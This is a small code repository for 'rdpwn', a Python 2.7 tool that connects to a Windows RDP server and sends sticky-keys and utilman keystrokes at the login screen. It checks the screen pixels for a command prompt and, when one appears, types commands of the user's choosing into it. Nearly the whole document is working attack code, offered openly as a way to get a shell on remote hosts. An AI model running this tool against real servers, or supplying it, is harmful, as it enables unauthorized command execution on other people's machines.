├── README.md ├── rdpwn.py └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | rdpwn 2 | ----- 3 | Work in progress. ONLY support python2.7 since rdpy only supports py27. 4 | This tool automatically connects to an RDP server and tries to get a command shell by trying sticky keys and then utilman and then smashes a command of your choice into the box and closes the session. The whole process takes about 4 seconds. 5 | I still have to enable credential list attempts and then Win-R -> cmd -> your command. 6 | I wanted to do the hard stuff first. 7 | 8 | Also the code is a mess. :) 9 | -------------------------------------------------------------------------------- /rdpwn.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import rle 3 | import numpy 4 | from rdpy.protocol.rdp import rdp 5 | from twisted.internet import reactor 6 | from PIL import Image 7 | import rdpy.core.log as log 8 | from datetime import datetime, timedelta 9 | 10 | #set log level 11 | log._LOG_LEVEL = log.Level.ERROR 12 | 13 | class MyRDPFactory(rdp.ClientFactory): 14 | def __init__(self, reactor, width, height, commands, save): 15 | self.width = width 16 | self.height = height 17 | self.reactor = reactor 18 | self.commands = commands 19 | self.save = save 20 | super(type(self), self).__init__() 21 | 22 | def clientConnectionLost(self, connector, reason): 23 | self.reactor.stop() 24 | 25 | def clientConnectionFailed(self, connector, reason): 26 | self.reactor.stop() 27 | 28 | def buildObserver(self, controller, addr): 29 | 30 | class MyObserver(rdp.RDPClientObserver): 31 | def __init__(self, controller, reactor, width, height, commands, save): 32 | rdp.RDPClientObserver.__init__(self, controller) 33 | self.initial = Image.new("RGB", (width, height)) 34 | # methods in reverse order of run 35 | self.methods = [self.utilMan, self.stickyKeys] 36 | self.do_final = False 37 | self.inittimer = None 38 | self.endtimer = None 39 | self.prompttimer = None 40 | self.reactor = reactor 41 | self.commands = commands 42 | self.save = save 43 | 44 | def _scDownUp(self, code): 45 | # https://www.win.tue.nl/~aeb/linux/kbd/scancodes-1.html 46 | self._controller.sendKeyEventScancode(code, True) 47 | self._controller.sendKeyEventScancode(code, False) 48 | 49 | def stickyKeys(self): 50 | # do 9 because it will only pop one window 51 | for i in range(9): 52 | self._scDownUp(0x2a) 53 | 54 | def utilMan(self): 55 | # windows key + u 56 | self._controller.sendKeyEventScancode(0x5c, True, True) 57 | self._controller.sendKeyEventScancode(0x16, True, False) 58 | self._controller.sendKeyEventScancode(0x5c, False, True) 59 | self._controller.sendKeyEventScancode(0x16, False, False) 60 | 61 | def sendString(self, string): 62 | for i in string: 63 | self._controller.sendKeyEventUnicode(ord(unicode(i, encoding="UTF-8")), True) 64 | self._controller.sendKeyEventUnicode(ord(unicode(i, encoding="UTF-8")), False) 65 | 66 | def onReady(self): 67 | """ 68 | @summary: Call when stack is ready 69 | """ 70 | pass 71 | 72 | def sendCommand(self, commands): 73 | for command in commands: 74 | self.sendString(command + "\r\n") 75 | 76 | def checkUpdate(self): 77 | if datetime.now() - self.lastUpdate > timedelta(seconds=.5): 78 | self.methods.pop()() 79 | self.final = self.initial.copy() 80 | self.do_final = True 81 | self.prompttimer = self.reactor.callLater(1, self.checkPrompt) 82 | else: 83 | self.inittimer = self.reactor.callLater(.25, self.checkUpdate) 84 | 85 | def countColor(self, image, color): 86 | ret = 0 87 | for i in range(image.width): 88 | for j in range(image.height): 89 | if image.getpixel((i,j)) == color: 90 | ret += 1 91 | return ret 92 | 93 | def checkPrompt(self): 94 | prompt = False 95 | binitial = self.countColor(self.initial, (0,0,0)) 96 | bfinal = self.countColor(self.final, (0,0,0)) 97 | winitial = self.countColor(self.initial, (255,255,255)) 98 | wfinal = self.countColor(self.final, (255,255,255)) 99 | # this is "good enough" 100 | if wfinal == winitial: # unlikely, but possible 101 | ratio = (bfinal - binitial) / float(wfinal) 102 | else: 103 | ratio = (bfinal - binitial) / float(wfinal - winitial) 104 | # bi: 108, bf: 1431, wi: 753, wf: 74051 105 | # bi: 108, bf: 191513, wi: 753, wf: 3094 106 | log.debug("bi: {}, bf: {}, wi: {}, wf: {}".format(binitial, bfinal, winitial, wfinal)) 107 | if ratio > 10: 108 | prompt = True 109 | log.info("Prompt detected") 110 | self.sendCommand(self.commands) 111 | else: 112 | log.warning("No prompt") 113 | 114 | if not self.methods or prompt: 115 | self.reactor.callLater(.5, self._controller.close) 116 | return 117 | 118 | log.debug("Trying next method: " + self.methods[-1].__name__) 119 | self.inittimer = None 120 | self.lastUpdate = None 121 | self.do_final = False 122 | self.initial = self.final.copy() 123 | del self.final 124 | self._scDownUp(0x01) 125 | 126 | def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): 127 | """ 128 | @summary: Notify bitmap update 129 | @param destLeft: xmin position 130 | @param destTop: ymin position 131 | @param destRight: xmax position because RDP can send bitmap with padding 132 | @param destBottom: ymax position because RDP can send bitmap with padding 133 | @param width: width of bitmap 134 | @param height: height of bitmap 135 | @param bitsPerPixel: number of bit per pixel 136 | @param isCompress: use RLE compression 137 | @param data: bitmap data 138 | """ 139 | if isCompress: 140 | if bitsPerPixel < 24: 141 | sz = 2 142 | elif bitsPerPixel < 32: 143 | sz = 3 144 | else: 145 | sz = 4 146 | buf = bytearray(width * height * sz) 147 | rle.bitmap_decompress(buf, width, height, data, sz) 148 | data = bytes(buf) 149 | 150 | 151 | i = Image.frombytes("RGB", (width, height), data, 'raw', 'BGR;16') 152 | 153 | self.lastUpdate = datetime.now() 154 | if not self.inittimer: 155 | self.inittimer = self.reactor.callLater(.1, self.checkUpdate) 156 | 157 | if self.do_final: 158 | self.final.paste(i, (destLeft, destTop)) 159 | else: 160 | self.initial.paste(i, (destLeft, destTop)) 161 | 162 | 163 | def onSessionReady(self): 164 | """ 165 | @summary: Windows session is ready 166 | """ 167 | pass 168 | 169 | def onReady(self): 170 | log.debug("Session ready") 171 | 172 | def onClose(self): 173 | """ 174 | @summary: Call when stack is close 175 | """ 176 | if self.save: 177 | self.initial.save("initial.bmp") 178 | self.final.save("final.bmp") 179 | log.debug("closed") 180 | 181 | 182 | controller.setScreen(self.width, self.height); 183 | controller.setSecurityLevel(rdp.SecurityLevel.RDP_LEVEL_SSL) 184 | return MyObserver(controller, self.reactor, self.width, self.height, self.commands, self.save) 185 | 186 | if __name__ == '__main__': 187 | ap = argparse.ArgumentParser() 188 | ap.add_argument("-i", "--ip", required=True, help="IP to connect to") 189 | ap.add_argument("-p", "--port", type=int, default=3389, help="Port to connect to") 190 | ap.add_argument("-s", "--save", action='store_true', help="Store initial and final bmp images") 191 | ap.add_argument("commands", nargs="+", default="", help="The command to run if you get a shell") 192 | args = ap.parse_args() 193 | reactor.connectTCP(args.ip, args.port, MyRDPFactory(reactor, 1024, 800, args.commands, args.save)) 194 | reactor.run() 195 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | rdpy 2 | pillow 3 | numpy 4 | --------------------------------------------------------------------------------